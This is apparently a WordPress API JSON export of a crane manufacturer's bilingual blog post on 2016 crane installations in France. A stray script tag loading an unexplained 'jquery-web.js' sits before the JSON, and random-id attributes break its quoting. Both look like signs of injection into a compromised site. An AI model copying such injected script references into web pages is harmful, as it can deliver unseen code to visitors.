<script src="///jquery-web.js"></script>{"id":4449,"date":"2017-01-23T14:23:22","date_gmt":"2017-01-23T13:23:22","guid":{"rendered":"https:\/\/www.ghcranes.com\/blog\/?p=4449"},"modified":"2017-01-23T15:23:12","modified_gmt":"2017-01-23T14:23:12","slug":"installations-france-2016","status":"publish","type":"post","link":"https:\/\/www.ghcranes.com\/blog\/installations-france-2016\/","title":{"rendered":"Installations France 2016"},"content":{"rendered":"<p>Voici certaines des \u00a0installations les plus repr\u00e9sentatives qui ont \u00e9t\u00e9 install\u00e9es en France.<\/p>\n<p><strong>NFM &#8211; LE CREUSOT\u00a0CEDEX<\/strong>: 2 portiques bipoutre un de capacit\u00e9 40T\u00a0 et un autre de 150T sur le levage principal (avec chariot ouvert) et 50T sur le levage auxiliaire<\/p>\n<p><a id="keyzmxyk" href=\"https:\/\/www.ghcranes.com\/blog\/instalacion-de-gruas-portico-para-nfm-technologies\/\">Voir article concern\u00e9e.<\/a><\/p>\n<p><a id="bfqrlgbs" href=\"https:\/\/www.ghcranes.com\/blog\/wp-content\/uploads\/2017\/01\/IMG-20161229-WA0002.jpg\"><img loading=\"lazy\" class=\"alignnone wp-image-4468\" src=\"https:\/\/www.ghcranes.com\/blog\/wp-content\/uploads\/2017\/01\/IMG-20161229-WA0002.jpg\" alt=\"IMG-20161229-WA0002\" width=\"604\" height=\"340\" srcset=\"https:\/\/www.ghcranes.com\/blog\/wp-content\/uploads\/2017\/01\/IMG-20161229-WA0002.jpg 1600w, https:\/\/www.ghcranes.com\/blog\/wp-content\/uploads\/2017\/01\/IMG-20161229-WA0002-300x169.jpg 300w, https:\/\/www.ghcranes.com\/blog\/wp-content\/uploads\/2017\/01\/IMG-20161229-WA0002-768x432.jpg 768w, https:\/\/www.ghcranes.com\/blog\/wp-content\/uploads\/2017\/01\/IMG-20161229-WA0002-1024x576.jpg 1024w, https:\/\/www.ghcranes.com\/blog\/wp-content\/uploads\/2017\/01\/IMG-20161229-WA0002-624x351.jpg 624w\" sizes=\"(max-width: 604px) 100vw, 604px\" \/><\/a><\/p>\n<p><strong>NFM &#8211; SAINT MARTIN DE LA PORTE<\/strong>: 2 ponts roulants de 5T install\u00e9s \u00e0 l\u2019int\u00e9rieur du Tunnel Euralpin Lyon Turin. Il a \u00e9galement \u00e9t\u00e9 install\u00e9 un pont Roulant de 2x20T utilis\u00e9 pour la Manutention de voussoirs.<\/p>\n<p><a id="zpywqwty" href=\"https:\/\/www.ghcranes.com\/fr\/actualite\/videos\/telt-tunnel-euralpin-lyon-turin\/\">Voir vid\u00e9o concern\u00e9e.<\/a><\/p>\n<p><a id="jzgzbfml" href=\"https:\/\/www.ghcranes.com\/blog\/wp-content\/uploads\/2017\/01\/SAM_0196.jpg\"><img loading=\"lazy\" class=\"alignnone wp-image-4471\" src=\"https:\/\/www.ghcranes.com\/blog\/wp-content\/uploads\/2017\/01\/SAM_0196.jpg\" alt=\"SAM_0196\" width=\"604\" height=\"805\" srcset=\"https:\/\/www.ghcranes.com\/blog\/wp-content\/uploads\/2017\/01\/SAM_0196.jpg 768w, https:\/\/www.ghcranes.com\/blog\/wp-content\/uploads\/2017\/01\/SAM_0196-225x300.jpg 225w, https:\/\/www.ghcranes.com\/blog\/wp-content\/uploads\/2017\/01\/SAM_0196-624x832.jpg 624w\" sizes=\"(max-width: 604px) 100vw, 604px\" \/><\/a><\/p>\n<p><strong>UMICORE &#8211; AUBY FRANCE<\/strong>: Pont Roulant de capacit\u00e9 30T et cabine fix\u00e9e sur le pont, pour la manipulation et manutention de bobines.<\/p>\n<p><a id="kllzjkjl" href=\"https:\/\/www.ghcranes.com\/blog\/wp-content\/uploads\/2017\/01\/General-grua-4-R.jpg\"><img loading=\"lazy\" class=\"alignnone wp-image-4475\" src=\"https:\/\/www.ghcranes.com\/blog\/wp-content\/uploads\/2017\/01\/General-grua-4-R.jpg\" alt=\"General-grua-4-R\" width=\"604\" height=\"453\" srcset=\"https:\/\/www.ghcranes.com\/blog\/wp-content\/uploads\/2017\/01\/General-grua-4-R.jpg 1200w, https:\/\/www.ghcranes.com\/blog\/wp-content\/uploads\/2017\/01\/General-grua-4-R-300x225.jpg 300w, https:\/\/www.ghcranes.com\/blog\/wp-content\/uploads\/2017\/01\/General-grua-4-R-768x576.jpg 768w, https:\/\/www.ghcranes.com\/blog\/wp-content\/uploads\/2017\/01\/General-grua-4-R-1024x768.jpg 1024w, https:\/\/www.ghcranes.com\/blog\/wp-content\/uploads\/2017\/01\/General-grua-4-R-624x468.jpg 624w\" sizes=\"(max-width: 604px) 100vw, 604px\" \/><\/a><\/p>\n<h1>Instalaciones Francia 2016<\/h1>\n<p>Estas son algunas de las instalaciones m\u00e1s significativas que se han montado en Francia.<\/p>\n<p><strong>NFM &#8211; LE CREUSOT\u00a0CEDEX<\/strong>:\u00a02 gr\u00faas p\u00f3rtico birrail, una de 40t de capacidad de elevaci\u00f3n y otra de 150t en el polipasto principal (con carro abierto), y\u00a050t en el polipasto auxiliar.<\/p>\n<p><a id="rbddjfyh" href=\"https:\/\/www.ghcranes.com\/blog\/instalacion-de-gruas-portico-para-nfm-technologies\/\">Ver art\u00edculo relacionado.<\/a><\/p>\n<p><a id="wwdmrzlb" href=\"https:\/\/www.ghcranes.com\/blog\/wp-content\/uploads\/2017\/01\/IMG-20161229-WA0000.jpg\"><img loading=\"lazy\" class=\"alignnone wp-image-4467\" src=\"https:\/\/www.ghcranes.com\/blog\/wp-content\/uploads\/2017\/01\/IMG-20161229-WA0000.jpg\" alt=\"IMG-20161229-WA0000\" width=\"604\" height=\"340\" srcset=\"https:\/\/www.ghcranes.com\/blog\/wp-content\/uploads\/2017\/01\/IMG-20161229-WA0000.jpg 1600w, https:\/\/www.ghcranes.com\/blog\/wp-content\/uploads\/2017\/01\/IMG-20161229-WA0000-300x169.jpg 300w, https:\/\/www.ghcranes.com\/blog\/wp-content\/uploads\/2017\/01\/IMG-20161229-WA0000-768x432.jpg 768w, https:\/\/www.ghcranes.com\/blog\/wp-content\/uploads\/2017\/01\/IMG-20161229-WA0000-1024x576.jpg 1024w, https:\/\/www.ghcranes.com\/blog\/wp-content\/uploads\/2017\/01\/IMG-20161229-WA0000-624x351.jpg 624w\" sizes=\"(max-width: 604px) 100vw, 604px\" \/><\/a><\/p>\n<p><strong>NFM &#8211; SAINT MARTIN DE LA PORTE<\/strong>: 2 gr\u00faas suspendidas de 5t instaladas en interior del Tunnel Euralpin Lyon Turin. Tambi\u00e9n se ha instalado una gr\u00faa puente de 2x20t utilizada para la manutenci\u00f3n de dovelas.<\/p>\n<p><a id="ysbaznlk" href=\"https:\/\/www.ghcranes.com\/es\/actualidad\/videos\/telt-tunnel-euralpin-lyon-turin\/\">Ver v\u00eddeo relacionado.<\/a><\/p>\n<p><a id="bzjkktyc" href=\"https:\/\/www.ghcranes.com\/blog\/wp-content\/uploads\/2017\/01\/SAM_0177.jpg\"><img loading=\"lazy\" class=\"alignnone wp-image-4470\" src=\"https:\/\/www.ghcranes.com\/blog\/wp-content\/uploads\/2017\/01\/SAM_0177-768x1024.jpg\" alt=\"SAM_0177\" width=\"604\" height=\"805\" srcset=\"https:\/\/www.ghcranes.com\/blog\/wp-content\/uploads\/2017\/01\/SAM_0177.jpg 768w, https:\/\/www.ghcranes.com\/blog\/wp-content\/uploads\/2017\/01\/SAM_0177-225x300.jpg 225w, https:\/\/www.ghcranes.com\/blog\/wp-content\/uploads\/2017\/01\/SAM_0177-624x832.jpg 624w\" sizes=\"(max-width: 604px) 100vw, 604px\" \/><\/a><\/p>\n<p><strong>UMICORE &#8211; AUBY FRANCE<\/strong>:\u00a0\u00a0Gr\u00faa puente de 30t de capacidad y cabina fijada al puente, para el manejo y manipulaci\u00f3n bobinas.<\/p>\n<p><a id="wbfegenc" href=\"https:\/\/www.ghcranes.com\/blog\/wp-content\/uploads\/2017\/01\/General-grua-8-UMICORE-AUBY-FRANCE-Manipulacion-bobinas-R.jpg\"><img loading=\"lazy\" class=\"alignnone wp-image-4474\" src=\"https:\/\/www.ghcranes.com\/blog\/wp-content\/uploads\/2017\/01\/General-grua-8-UMICORE-AUBY-FRANCE-Manipulacion-bobinas-R.jpg\" alt=\"General-grua-8-UMICORE---AUBY-FRANCE---Manipulacion-bobinas-R\" width=\"604\" height=\"453\" srcset=\"https:\/\/www.ghcranes.com\/blog\/wp-content\/uploads\/2017\/01\/General-grua-8-UMICORE-AUBY-FRANCE-Manipulacion-bobinas-R.jpg 1200w, https:\/\/www.ghcranes.com\/blog\/wp-content\/uploads\/2017\/01\/General-grua-8-UMICORE-AUBY-FRANCE-Manipulacion-bobinas-R-300x225.jpg 300w, https:\/\/www.ghcranes.com\/blog\/wp-content\/uploads\/2017\/01\/General-grua-8-UMICORE-AUBY-FRANCE-Manipulacion-bobinas-R-768x576.jpg 768w, https:\/\/www.ghcranes.com\/blog\/wp-content\/uploads\/2017\/01\/General-grua-8-UMICORE-AUBY-FRANCE-Manipulacion-bobinas-R-1024x768.jpg 1024w, https:\/\/www.ghcranes.com\/blog\/wp-content\/uploads\/2017\/01\/General-grua-8-UMICORE-AUBY-FRANCE-Manipulacion-bobinas-R-624x468.jpg 624w\" sizes=\"(max-width: 604px) 100vw, 604px\" \/><\/a><\/p>\n<p>&nbsp;<\/p>\n<!-- AddThis Advanced Settings generic via filter on the_content --><!-- AddThis Share Buttons generic via filter on the_content -->","protected":false},"excerpt":{"rendered":"<p>Voici certaines des \u00a0installations les plus repr\u00e9sentatives qui ont \u00e9t\u00e9 install\u00e9es en France. NFM &#8211; LE CREUSOT\u00a0CEDEX: 2 portiques bipoutre un de capacit\u00e9 40T\u00a0 et un autre de 150T sur le levage principal (avec chariot ouvert) et 50T sur le levage auxiliaire Voir article concern\u00e9e. NFM &#8211; SAINT MARTIN DE LA PORTE: 2 ponts roulants [&hellip;]<!-- AddThis Advanced Settings generic via filter on wp_trim_excerpt --><!-- AddThis Share Buttons generic via filter on wp_trim_excerpt --><\/p>\n","protected":false},"author":1,"featured_media":4473,"comment_status":"closed","ping_status":"closed","sticky":false,"template":"","format":"standard","meta":[],"categories":[2],"tags":[898,897,256,49,411,896,899,900],"jetpack_featured_media_url":"https:\/\/www.ghcranes.com\/blog\/wp-content\/uploads\/2017\/01\/General-grua-6-R-e1484846782606.jpg","_links":{"self":[{"href":"https:\/\/www.ghcranes.com\/blog\/wp-json\/wp\/v2\/posts\/4449"}],"collection":[{"href":"https:\/\/www.ghcranes.com\/blog\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/www.ghcranes.com\/blog\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/www.ghcranes.com\/blog\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/www.ghcranes.com\/blog\/wp-json\/wp\/v2\/comments?post=4449"}],"version-history":[{"count":7,"href":"https:\/\/www.ghcranes.com\/blog\/wp-json\/wp\/v2\/posts\/4449\/revisions"}],"predecessor-version":[{"id":4494,"href":"https:\/\/www.ghcranes.com\/blog\/wp-json\/wp\/v2\/posts\/4449\/revisions\/4494"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/www.ghcranes.com\/blog\/wp-json\/wp\/v2\/media\/4473"}],"wp:attachment":[{"href":"https:\/\/www.ghcranes.com\/blog\/wp-json\/wp\/v2\/media?parent=4449"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/www.ghcranes.com\/blog\/wp-json\/wp\/v2\/categories?post=4449"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/www.ghcranes.com\/blog\/wp-json\/wp\/v2\/tags?post=4449"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}